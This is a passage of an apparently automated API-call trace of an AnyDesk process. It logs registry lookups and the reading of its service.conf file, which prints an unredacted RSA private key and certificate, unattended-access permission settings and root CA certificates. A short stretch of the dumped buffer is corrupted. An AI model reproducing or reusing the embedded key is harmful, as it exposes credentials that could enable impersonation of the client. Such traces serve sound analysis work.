Size=0x8) returned 0x193f360 [0283.240] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x196edc0 [0283.241] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f360 | out: hHeap=0x1930000) returned 1 [0283.241] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f380 | out: hHeap=0x1930000) returned 1 [0283.241] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x193f380 [0283.241] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196bc28 [0283.241] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3a) returned 0x1970618 [0283.241] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f380 | out: hHeap=0x1930000) returned 1 [0283.241] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x193f380 [0283.241] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196edc0 | out: hHeap=0x1930000) returned 1 [0283.241] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19708e8 | out: hHeap=0x1930000) returned 1 [0283.241] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x196f330 [0283.241] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f330 | out: hHeap=0x1930000) returned 1 [0283.241] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x196f330 [0283.241] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x196f368 [0283.242] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f330 | out: hHeap=0x1930000) returned 1 [0283.242] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x196edc0 [0283.242] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x196edb0 [0283.242] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x196edd0 [0283.242] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196edb0 | out: hHeap=0x1930000) returned 1 [0283.242] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196edc0 | out: hHeap=0x1930000) returned 1 [0283.242] UnlockFileEx (in: hFile=0x18c, dwReserved=0x0, nNumberOfBytesToUnlockLow=0xffffffff, nNumberOfBytesToUnlockHigh=0xffffffff, lpOverlapped=0x12d4c60 | out: lpOverlapped=0x12d4c60) returned 1 [0283.242] CloseHandle (hObject=0x18c) returned 1 [0283.243] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c058 | out: hHeap=0x1930000) returned 1 [0283.243] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.permissions.sas", lpReserved=0x0, lpType=0x12d4c88, lpData=0x0, lpcbData=0x12d4c8c*=0x0 | out: lpType=0x12d4c88*=0x0, lpData=0x0, lpcbData=0x12d4c8c*=0x0) returned 0x6 [0283.243] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x12d4cb4 | out: phkResult=0x12d4cb4*=0x0) returned 0x2 [0283.243] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x197f868 | out: hHeap=0x1930000) returned 1 [0283.243] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eed0 | out: hHeap=0x1930000) returned 1 [0283.243] RegQueryValueExW (in: hKey=0x0, lpValueName="security.updatetype", lpReserved=0x0, lpType=0x12d4c88, lpData=0x0, lpcbData=0x12d4c8c*=0x0 | out: lpType=0x12d4c88*=0x0, lpData=0x0, lpcbData=0x12d4c8c*=0x0) returned 0x6 [0283.243] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x12d4cb4 | out: phkResult=0x12d4cb4*=0x0) returned 0x2 [0283.243] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198a4b8 | out: hHeap=0x1930000) returned 1 [0283.243] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196ee40 | out: hHeap=0x1930000) returned 1 [0283.244] RegQueryValueExW (in: hKey=0x0, lpValueName="security.frontendclipboard", lpReserved=0x0, lpType=0x12d4c88, lpData=0x0, lpcbData=0x12d4c8c*=0x0 | out: lpType=0x12d4c88*=0x0, lpData=0x0, lpcbData=0x12d4c8c*=0x0) returned 0x6 [0283.244] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x12d4cb4 | out: phkResult=0x12d4cb4*=0x0) returned 0x2 [0283.244] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990458 | out: hHeap=0x1930000) returned 1 [0283.244] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196ee40 | out: hHeap=0x1930000) returned 1 [0283.244] RegQueryValueExW (in: hKey=0x0, lpValueName="security.frontendclipboardfiles", lpReserved=0x0, lpType=0x12d4c88, lpData=0x0, lpcbData=0x12d4c8c*=0x0 | out: lpType=0x12d4c88*=0x0, lpData=0x0, lpcbData=0x12d4c8c*=0x0) returned 0x6 [0283.244] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x12d4cb4 | out: phkResult=0x12d4cb4*=0x0) returned 0x2 [0283.244] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970a50 | out: hHeap=0x1930000) returned 1 [0283.244] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196ee40 | out: hHeap=0x1930000) returned 1 [0283.244] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._unattendedaccess.permissions.sas", lpReserved=0x0, lpType=0x12d4c88, lpData=0x0, lpcbData=0x12d4c8c*=0x0 | out: lpType=0x12d4c88*=0x0, lpData=0x0, lpcbData=0x12d4c8c*=0x0) returned 0x6 [0283.244] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x12d4cb4 | out: phkResult=0x12d4cb4*=0x0) returned 0x2 [0283.244] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1974b18 | out: hHeap=0x1930000) returned 1 [0283.244] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eed0 | out: hHeap=0x1930000) returned 1 [0283.244] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.version", lpReserved=0x0, lpType=0x12d4c88, lpData=0x0, lpcbData=0x12d4c8c*=0x0 | out: lpType=0x12d4c88*=0x0, lpData=0x0, lpcbData=0x12d4c8c*=0x0) returned 0x6 [0283.244] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x12d4cb4 | out: phkResult=0x12d4cb4*=0x0) returned 0x2 [0283.245] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c148 | out: hHeap=0x1930000) returned 1 [0283.245] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196ee40 | out: hHeap=0x1930000) returned 1 [0283.245] RegQueryValueExW (in: hKey=0x0, lpValueName="security.updatechannel", lpReserved=0x0, lpType=0x12d4c88, lpData=0x0, lpcbData=0x12d4c8c*=0x0 | out: lpType=0x12d4c88*=0x0, lpData=0x0, lpcbData=0x12d4c8c*=0x0) returned 0x6 [0283.245] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x12d4cb4 | out: phkResult=0x12d4cb4*=0x0) returned 0x2 [0283.245] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f448 | out: hHeap=0x1930000) returned 1 [0283.245] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196ee40 | out: hHeap=0x1930000) returned 1 [0283.245] RegQueryValueExW (in: hKey=0x0, lpValueName="anynet.relay.fatalresult", lpReserved=0x0, lpType=0x12d4c88, lpData=0x0, lpcbData=0x12d4c8c*=0x0 | out: lpType=0x12d4c88*=0x0, lpData=0x0, lpcbData=0x12d4c8c*=0x0) returned 0x6 [0283.245] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x12d4cb4 | out: phkResult=0x12d4cb4*=0x0) returned 0x2 [0283.245] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19904d8 | out: hHeap=0x1930000) returned 1 [0283.245] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eed0 | out: hHeap=0x1930000) returned 1 [0283.245] RegQueryValueExW (in: hKey=0x0, lpValueName="security.frontendclipboardversion", lpReserved=0x0, lpType=0x12d4c88, lpData=0x0, lpcbData=0x12d4c8c*=0x0 | out: lpType=0x12d4c88*=0x0, lpData=0x0, lpcbData=0x12d4c8c*=0x0) returned 0x6 [0283.245] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x12d4cb4 | out: phkResult=0x12d4cb4*=0x0) returned 0x2 [0283.246] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c0f8 | out: hHeap=0x1930000) returned 1 [0283.246] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196eed0 | out: hHeap=0x1930000) returned 1 [0283.246] CreateFileW (lpFileName="C:\\ProgramData\\AnyDesk\\service.conf" (normalized: "c:\\programdata\\anydesk\\service.conf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0283.246] LockFileEx (in: hFile=0x18c, dwFlags=0x0, dwReserved=0x0, nNumberOfBytesToLockLow=0xffffffff, nNumberOfBytesToLockHigh=0xffffffff, lpOverlapped=0x12d4c9c | out: lpOverlapped=0x12d4c9c) returned 1 [0283.246] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x12d4cb8 | out: lpFileSize=0x12d4cb8*=2762) returned 1 [0283.246] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xaca) returned 0x1961c48 [0283.246] ReadFile (in: hFile=0x18c, lpBuffer=0x1961c48, nNumberOfBytesToRead=0xaca, lpNumberOfBytesRead=0x12d4ccc, lpOverlapped=0x0 | out: lpBuffer=0x1961c48*, lpNumberOfBytesRead=0x12d4ccc*=0xaca, lpOverlapped=0x0) returned 1 [0283.248] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1961c48, cbMultiByte=2762, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2762 [0283.248] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1596) returned 0x1962720 [0283.248] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1961c48, cbMultiByte=2762, lpWideCharStr=0x1962720, cchWideChar=2763 | out: lpWideCharStr="ad.anynet.cert=-----BEGIN CERTIFICATE-----\\nMIICqDCCAZACAQEwDQYJKoZIhvcNAQELBQAwGTEXMBUGA1UEAwwOQW55RGVzayBD\\nbGllbnQwIBcNMjIwODA1MTc0ODIyWhgPMjA3MjA3MjMxNzQ4MjJaMBkxFzAVBgNV\\nBAMMDkFueURlc2sgQ2xpZW50MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC\\nAQEAoPovzJS9dgfgGwtrhPht7XdT85M4TiPyi7SesHHcrdlEAXfQ46fz1flCiD1/\\nzuNfst+7mrggrAE7Qk+Zcd/VcC7OQ9bmFnxZsfwDEeDLdMiPrz1ZwOYgQ0Zi+DoJ\\ntGCpJIpd5JuHYNj1IHF3tYt54cHLdAJMtWejVvX9G57TErKwtQ561t8sxqEKPFte\\nFLuhBA9Pk/ZgSwiQPBKY02J3zPip4Uc63gXKF1Zav8VN2UarQdgTHpXIRp07Qtbz\\nrXn4NECZV/5dWxHe95zvY8AIX+15BRm07i8EhuUkGXAPUUAVp+TBs80AuFBBkLrT\\nLAqSrR35Rc3PJPmPIoZtggf9qQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQBeiD9m\\nZL7/APvs0tXI6j4KL1DRAYjWeGA9VinXZYobEfNyyk6FYuy62LJCwEu6DgKLz/6K\\n+rfjE6RfnA1RXRe8tfFFNSMnhF6GUHk9Mm1geo2BKOrEbnSdb+QH8kE2qvHv+E50\\nvPHA48acO2GrxYVRtK4YFpXOmwMnQHj+5abnol5xFgUzzS2nD2LCSdmuf+zk543l\\nwkm1arZpq74Ti/kr88MNKceE8ZLJIUHnwfwbDXlPuqfJy18i35d130JNDUv6XR9T\\nwcCKGjyKHHTKUntZ55MwjlBW/iMD2Y3vG6r16dDvnpEWr/dFTTFMOdELXeSWgpI1\\nQAytK30fPh4/PsHI\\n-----END CERTIFICATE-----\\n\nad.anynet.pkey=-----BEGIN PRIVATE KEY-----\\nMIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCg+i/MlL12B+Ab\\nC2uE+G3td1PzkzhOI/KLtJ6wcdyt2UQBd9Djp/PV+UKIPX/O41+y37uauCCsATtC\\nT5lx39VwLs5D1uYWfFmx/AMR4Mt0yI+vPVnA5iBDRmL4Ogm0YKkkil3km4dg2PUg\\ncXe1i3nhwct0Aky1Z6NW9f0bntMSsrC1DnrW3yzGoQo8W14Uu6EED0+T9mBLCJA8\\nEpjTYnfM+KnhRzreBcoXVlq/xU3ZRqtB2BMelchGnTtC1vOtefg0QJlX/l1bEd73\\nnO9jwAhf7XkFGbTuLwSG5SQZcA9RQBWn5MGzzQC4UEGQutMsCpKtHflFzc8k+Y8i\\nhm2CB/2pAgMBAAECggEAejZW8a9+w0wpVP7viwz8kAtG/iYn2hMqgewHihd3nbjU\\nC3VGbn/E/A739u0RyiUPM4LuMAFYNJ3eunIqIaz4oum2CQTuu+V+R0T3o6wRasEV\\nbMpcCLnthoW6f4+4bGvyHd66d+On/NvaBd5/LqIMT1vMtW9Fg3eCJ3Qry7thrdAt\\nYEQgcnMcjY613l0UmVqG2NhqeiVNamyzWDF8+s1Sl4xuFMluyetKD9WeWJb8FK/J\\n/884OmaFKA7Dd1J3bNCEAOspIXB3rIhThFzh8FV9fXHWZgUs/HX9gduCMyRcDhbx\\nN7TR7XkpLAYTbAMq1JoHLYLM5BwfPx1D5l62wHfnrQKBgQDLW9QX3P/i922vyX0m\\nMY9kbB193aK8x/1PA9yKAXty2U+GCjYq3P2k1xlvBlishgmchhG3Ond+wpbRBPr4\\nOeJALdfDsX+JsaXHTMGNmpFNRvgTkD6e4Y7c4mZf5PgXWbHkZmnnyBvCXG1bheE/\\nG3W8/xoooSNPeh0UaSRZCd3icwKBgQDKpdPQK4ADsS/t93h/Z1JfOVqLDNWUAXDN\\nRdTWlh+xGykOmCs/qY1yn71pRtVosYkUZTH7LGEDNrapWjRiJ1X1djbQBLdzA594\\n5zlCjFVDpYd63x8+pZu5mPmXtgG5umzZkAbIRWYO9dW9cOmWACSmThUhuNCJEQbu\\ntZp3OHKscwKBgQCNhRJMqRfKs7Y5p1bYxZSspjC/7wXZqrO10VIhGHb4rhKRjXm0\\nyqYZmTex9BCxv3Xg38xkXuPZ60FZpMWjCWVSlJSbM2M2R9K+p8Pq764+wSzTMIbj\\nusTZIxVrlsSwO1N5R2xcSP5IfFn+X2Uprcp6BG4H6FvSa4DhO2p4LE2l0QKBgC9S\\nWgwanGJAVjjzuSfHMO0br5EZBibxzy2gSPtzQyNQfF30GuVa6rUBqHGVIPC5xJEG\\nsI0+58igVjdl4SWqmeAgItygvVYWWn8ZP73Sl3aciO6ge+NdOOg2WNKcpfqBFjoX\\n7/2Edzi3H5qFa4ajsetEAJtHVSss1rmXnuKIQ/8RAoGBAJL3EVTt0alBGRdeeLbn\\nR7N9Dmqvz8UMuL8k51+2t0tNmrrzNDv1fCjQX912oN5PgFnIG30fg7tVZPhkCo5G\\nZO0gCkEO0IApmYQcdSCCtDJYHAessvau3k1q4tcI3BlL7LgDJ5mVWH2/PNalztK/\\npNvlzErOkV5fOASeklpwOlTi\\n-----END PRIVATE KEY-----\\n\nri솋妰ⷳ\x01ÄƓ᠈Ɨssion_profiles._full_access.salt=\nad.security.permission_profiles._screen_sharing.pwd=\nad.security.permission_profiles._screen_sharing.salt=\nad.security.permission_profiles._unattended_access.pwd=\nad.security.permission_profiles._unattended_access.salt=\nad.security.view_screen=true\nad.security.hear_audio=true\nad.security.control_input=true\nad.security.sync_clipbrd=true\nad.security.clipboard.files=true\nad.security.block_input=true\nad.security.restart=true\nad.security.file_manager=true\nad.security.lock_account=true\nad.security.lock_remote_account=false\nad.security.record_session=true\nad.security.tcp_tunnel=false\nad.security.privacy_feature=false\nad.security.settings_protection=0\nad.security.enable_uaccess_permissions=true\nad.security.uaccess.connect.send_user_list=0\nad.security.uaccess.hear_audio=true\nad.security.uaccess.control_input=true\nad.security.uaccess.sync_clipbrd=true\nad.security.uaccess.clipboard.files=true\nad.security.uaccess.block_input=true\nad.security.uaccess.restart=true\nad.security.uaccess.file_manager=true\nad.security.uaccess.lock_account=true\nad.security.uaccess.sysinfo=true\nad.security.uaccess.user_pointer=true\nad.security.uaccess.print=true\nad.security.uaccess.whiteboard=true\nad.security.uaccess.record_session=true\nad.security.uaccess.privacy_feature=true\nad.security.uaccess.tcp_tunnel=true\nad.security.uaccess.vpn=true\nad.security.user_pointer=true\nad.security.allow_logon_token=true\nad.security.acl_enabled=false\nad.security.login_enabled=true\nad.security.acl_list=\nad.security.acl_trigger=false\nad.security.sysinfo=true\nad.security.whiteboard=true\nad.security.vpn=true\nad.security.override_local_mouse=false\nad.security.override_local_keyboard=false\nad.security.update_channel=stable\nad.security.update_type=0\nad.security.update_check_interval=32400\nad.security.update_activity_interval=600\nad.security.update_activity_recheck_interval=1200\nad.security.print=true\nad.security.frontend_clipboard_version=0\nad.security.frontend_clipboard=1\nad.security.frontend_clipboard_files=1\nad.security.kickout=0\nad.security.passwords_permissions=\nad.security.invitation_permissions=\nad.security.two_factor_auth_flags=1\nad.security.auto_disconnect.mode=0\nad.security.auto_disconnect.timeout=600\nad.security.sess.lock_remote_account=0\nad.privacy.trigger=false\nad.privacy.name=\nad.privacy.name.show=1\nad.privacy.image.show=1\nad.privacy.bkgnd.show=1\nad.privacy.scrshot.path_cfg=1\nad.privacy.scrshot.path=\nad.privacy.online.show=1\nad.privacy.online.show_list=\nad.privacy.chat.path_cfg=1\nad.privacy.chat.path=\nad.privacy.wallpaper.mode=0\nad.privacy.wallpaper.color=#000000FF\nad.privacy.wallpaper.path=\nad.privacy.screen_frame.mode=0\nad.privacy.screen_frame.color=#FF0000FF\nad.privacy.screen_frame.opacity=128\nad.privacy.screen_frame.width=10\nad.recording.auto_start.incoming=0\nad.recording.auto_start.incoming.admin=0\nad.recording.auto_start.outgoing=0\nad.recording.auto_start=false\nad.recording.path_cfg=1\nad.recording.path=\nad.recording.incoming=true\nad.recording.outgoing=true\nad.audio.transmit=true\nad.audio.transmit_mode=2\nad.audio.transmit_use_monitor=true\nad.audio.transmit_source=\nad.audio.playback=true\nad.audio.playback_mode=1\nad.audio.playback_device=\nad.audio.exclusive=false\nad.session.remember_settings=true\nad.session.audio.playback=\nad.session.auto_keyboard=\nad.session.show_remote_cursor=\nad.session.follow_remote_cursor=\nad.session.move_size_hlp=\nad.session.quality_preset=\nad.session.quality_adaptive=\nad.session.quality_lossless=\nad.session.touch_mode=\nad.session.kbd_mode=\nad.session.viewmode=\nad.session.local_file_sort_order=\nad.session.remote_file_sort_order=\nad.session.remote_browser_start_path=\nad.session.local_browser_start_path=\nad.session.lock_remote_account=false\nad.session.privacy_feature=false\nad.session.vpn_auto_config=\nad.session.vpn_start_ip=\nad.session.vpn_client_ip=\nad.session.vpn_server_ip=\nad.session.vpn_default_netmask=\nad.session.show_keyboard=false\nad.session.follow_remote_focus=0\nad.session.limit_incoming=0\nad.session.limit_outgoing=0\nad.session.sync_clipbrd=true\nad.session.sync_clipbrd_files=true\nad.session.suppress_keys=true\nad.session.timeout.monitor_switch=750\nad.session.timeout.monitor_switch.after_mouse=5000\nad.session.timeout.monitor_switch.after_focus=3000\nad.license.name=\nad.license.register_key=\nad.license.auto_reg_hash=\nad.license.id=0\nad.license.permissions=1\nad.features.connect=true\nad.features.address_bar=true\nad.features.accept=true\nad.features.install=true\nad.features.update=true\nad.features.auto_uac=false\nad.features.woa=false\nad.features.address_book=true\nad.features.sess_playback=true\nad.features.sess_record=true\nad.features.trace.connection=true\nad.features.trace.session=true\nad.features.register_alias=false\nad.features.unattended=true\nad.features.file_manager=true\nad.features.vpn=true\nad.features.wol=true\nad.features.motd=true\nad.features.motd_dialogues=true\nad.features.two_factor_auth=true\nad.features.screen_keyboard=true\nad.features.tcp_tun=true\nad.features.tcp_tun_script=true\nad.features.session_invitation.send=true\nad.features.session_invitation.receive=true\nad.features.wallpaper=true\nad.features.screen_frame=true\nad.features.anynet_config_layer=true\nad.features.telemetry=false\nad.features.user_account=true\nad.features.recent_out=true\nad.features.favorites=true\nad.features.quality_adaptive=true\nad.online_status.receive=true\nad.anynet.id=0\nad.anynet.alias=\nad.anynet.pkey=\nad.anynet.cert=\nad.anynet.fpr=\nad.anynet.listen_port=0\nad.anynet.listen_socket=2\nad.anynet.proxy.mandatory=false\nad.anynet.proxy.legacy_wpad=false\nad.anynet.proxy.max_search_delay=100\nad.anynet.proxy.min_search_interval=60000\nad.anynet.proxy.mode=1\nad.anynet.proxy.type=0\nad.anynet.proxy.addr=\nad.anynet.proxy.port=0\nad.anynet.proxy.auth=false\nad.anynet.proxy.auto_auth=true\nad.anynet.proxy.user=\nad.anynet.proxy.pass=\nad.anynet.proxy.pass_plain=\nad.anynet.boot_addrs=boot.net.anydesk.com\nad.anynet.conn_methods=connect:443;connect:80;socks:443;direct:443;direct:80;direct:6568\nad.anynet.last_relay=\nad.anynet.relay.state=0\nad.anynet.relay.fatal_result=0.0\nad.anynet.pwd_hash=\nad.anynet.pwd_salt=\nad.anynet.secondary_pwd_hashes_and_salts=\nad.anynet.two_factor_key=\nad.anynet.auth_disabled=false\nad.anynet.cur_version=0\nad.anynet.cli_ciphers=DEFAULT:!RC4\nad.anynet.svr_ciphers=DEFAULT:!RC4\nad.anynet.auth_tokens=\nad.anynet.token_salt=\nad.anynet.ca_certs=-----BEGIN CERTIFICATE-----\\nMIIFYzCCA0ugAwIBAgIJAIf7DQy3sYvoMA0GCSqGSIb3DQEBBQUAMEgxFzAVBgNV\\nBAMMDkFueU5ldCBSb290IENBMSAwHgYDVQQKDBdwaGlsYW5kcm8gU29mdHdhcmUg\\nR21iSDELMAkGA1UEBhMCREUwHhcNMTQwNDExMDIzNzU1WhcNMjQwNDA4MDIzNzU1\\nWjBIMRcwFQYDVQQDDA5BbnlOZXQgUm9vdCBDQTEgMB4GA1UECgwXcGhpbGFuZHJv\\nIFNvZnR3YXJlIEdtYkgxCzAJBgNVBAYTAkRFMIICIjANBgkqhkiG9w0BAQEFAAOC\\nAg8AMIICCgKCAgEAtBVBDdoa01og/vnfvwqM8aSt79RUlufigrcNAOrxN+LXjKEW\\nO6BoCDiqbdsmvqZpkzaojh5w3KyBHuLdFoM0tRVw9YrNne5dgHxaeKIHpK7m+NYx\\n+lx7u+Ba61Evl7/2+zMnkLPY5ODNaDtqh2ymDefYvWHfVmsq4Rwr9Z+/hd2MWwYe\\ncX+6SqZAsHcX6iw/W5QUhS6tEWGriPYBu7NHa+KBGPGOOebYewxjhoOscIR1Jy01\\nPXt7qM6ySHkIOC2CJn6TSzJ2ZoWn/crxCi/HYg9qQP4aa1gcU+RjwXWDmqt4BEmD\\nH+cjcJ+jv2jRMy9M3l6GmH1hfQE09Zzpy0FrrlArZ9XZ8gL8X6NSNLncZ+/6c8WU\\nQOq1iveY7Oibu4ZsbzY3ioCMn4T2ykp2InKNUn2FdU1V762v8+UWIwBb6Lbtfp8u\\ngEvu1V/cZemJ3NumQwS7zv2pTC8ZM6rmcSCG/kWLl+bIHU9wusfAw/Om8trCpBvd\\niU7sHNp7JI+qQvkUMoNoY8gmvOwTsw0L4rYIxsYGfqMWbxXSGxZSPB8ikSUXFcxC\\ngto7qDnHKlDK2UygjJUzdQNwuN+gybKyixs4g3kywxLaM5ZC9JERqsYmMbzqQ4ow\\nVGXFQ55QO/qRkw6dOyNKPUPBxiKbaK8v/AGAUhgFIg69auQuydbsxY/zE7MCAwEA\\nAaNQME4wHQYDVR0OBBYEFBlleQaAxt6yqliZV7I2XO0BYo1HMB8GA1UdIwQYMBaA\\nFBlleQaAxt6yqliZV7I2XO0BYo1HMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEF\\nBQADggIBALOqRxekr9JgNBWtJdWOKF7BqrGNMFabR3by4CBUBj3xI8Lvu6Hyn+Or\\nDAa/VF4MGjVWbeGTS8WZX5CGflKDlKCgRzby/PLCTXDJyW40XKcPBP3rFl6KvoY7\\noAxzf6P1Xz0rxUEMZwrjSCvKYvapmh7J5ES8F/nbXEWYCWnsyGPvhSlOce35maxJ\\nIIqQvFmO8fOlmZkS46d75Wg0q1NarfFEyrp/wqZzkhDqjLHGydXkXisPHkqT+W1M\\nBoWQZVHTicwuomu15PDqNzWpfcDLhxIycpMhUYEdowzKlviB9JKgr/cZJPPmzeoR\\nKcnxKR2yKxgatKPAWMRwOXiniNd0MsKAYoNY47Q+JbhWLGB3UiWqYTLRl413JDQk\\nxdvy3WHI7WNXDsJw5R9S3WxvOLLa7Z2nL4f6s3DlZE35wwLVRtofy/BYIPxElvDK\\ntps55s8n0CyZdNTK3keI7d/3nDusimLSdZDZAIHT+MJHjpq9h23O5Zp/KHakd8Y/\\nub9N8cvfDyxz/rRg4yZeg/KuNlaU6aedoT3KXW49Xahv8qWP855ohSfs6WeFNBYN\\nRTQUjgcMeyVRVPM/oSrvmheeUd4WZPvd4ciUCYw5u3dz1Ga7SStc+itXi2at96hw\\nO4+eCXHeEi7tAhBM1Wcecv86PjRtkmA9RF70IWDubC46cxrDJmr0\\n-----END CERTIFICATE-----;-----BEGIN CERTIFICATE-----\\nMIIFbDCCA1SgAwIBAgIJAOcOOMSgQkRlMA0GCSqGSIb3DQEBDQUAMEoxGTAXBgNV\\nBAMMEEFueU5ldCBSb290IENBIDIxIDAeBgNVBAoMF3BoaWxhbmRybyBTb2Z0d2Fy\\nZSBHbWJIMQswCQYDVQQGEwJERTAgFw0xOTAyMjcyMDEyNDJaGA8yMTE5MDIwMzIw\\nMTI0MlowSjEZMBcGA1UEAwwQQW55TmV0IFJvb3QgQ0EgMjEgMB4GA1UECgwXcGhp\\nbGFuZHJvIFNvZnR3YXJlIEdtYkgxCzAJBgNVBAYTAkRFMIICIjANBgkqhkiG9w0B\\nAQEFAAOCAg8AMIICCgKCAgEAqUhRKwaqr1CtntCMZuAUNG5XbII8il8yXSScuhcU\\n3esJbXdiDWXqKd8HS4h3hTTiKsrPa7vx8SZXG+rlAigmfpgYe6CLK1DvW5AIjrUe\\nkOmyt9h6eMQ1aYl+YWVAaiFZuU6HHdVVkAvJLABRNs1Mg6PU05gMVrugEbRq/8nl\\nurQLjfPAszqu2hNE9Vhupf0agw2hbSJ6WzeQnaubOZPs1bQ3uD8bJKVMg/ttgJ9c\\nwkyqDLVP4zs3Wz8L1g2+EdwuQxJnN9rLdlunb+Hop86+ZaJXPWqJzqOZCa3EA9As\\nRxQVhL9h35fktdu5u0CL5ZBS9B2jumydmRWGTfwFxbMThd/tn/e9BzorTCKEcvJr\\nDoqxaCxE8iOGbjTN2zIC0PTIv6g0sj28nbPF5FBelpF5D5k+o1SZ9xjDG4xmcovU\\nu3W1nrKf60CLoHTqQ2XeUYu7NkKOr9Fn72hSqDACRBJQIGxZnresFSRY2IS6FTy4\\n8zyfnz0Qrlj/A5vzAOqKA7S3XNCT1DcjlA6V4a5AWe1bdsW/MB9fsFuPPmknLa8n\\nGOW2Y57eXgQ9SShz/Mn9+5nzOTSWpFbP7r5kZt6lDyMvrA2TN4PS2teuKy/ndna8\\nXV/ad8yD4Uf4slVPU0g9r2ZEb8PyxS3z1E1DbZ4nJBQTCI2dgBpeseP7rWGAGHKY\\nzMkCAwEAAaNTMFEwHQYDVR0OBBYEFFnC16nf4dqWO76ICbRqUvhBCPUbMB8GA1Ud\\nIwQYMBaAFFnC16nf4dqWO76ICbRqUvhBCPUbMA8GA1UdEwEB/wQFMAMBAf8wDQYJ\\nKoZIhvcNAQENBQADggIBADsJ7G/zeZhpGAzLbhzYo/bnvrpFV9F77JybAKpG+Oit\\nByYvH8jLdQjoBNRPGv8Cd5U6kehaS2wXF3NbGLVF5MpHZL6QFQnEplfwpIz1jLxn\\nLFL2zzD/Yxtb5Noef5CIklb2JSejDMwz3AoVMru5OzQZn0O+eQHHY/PT/4hc7KWQ\\ne3IkJKjwf7drAVgKKzpaUsXD6mrzFdYPYT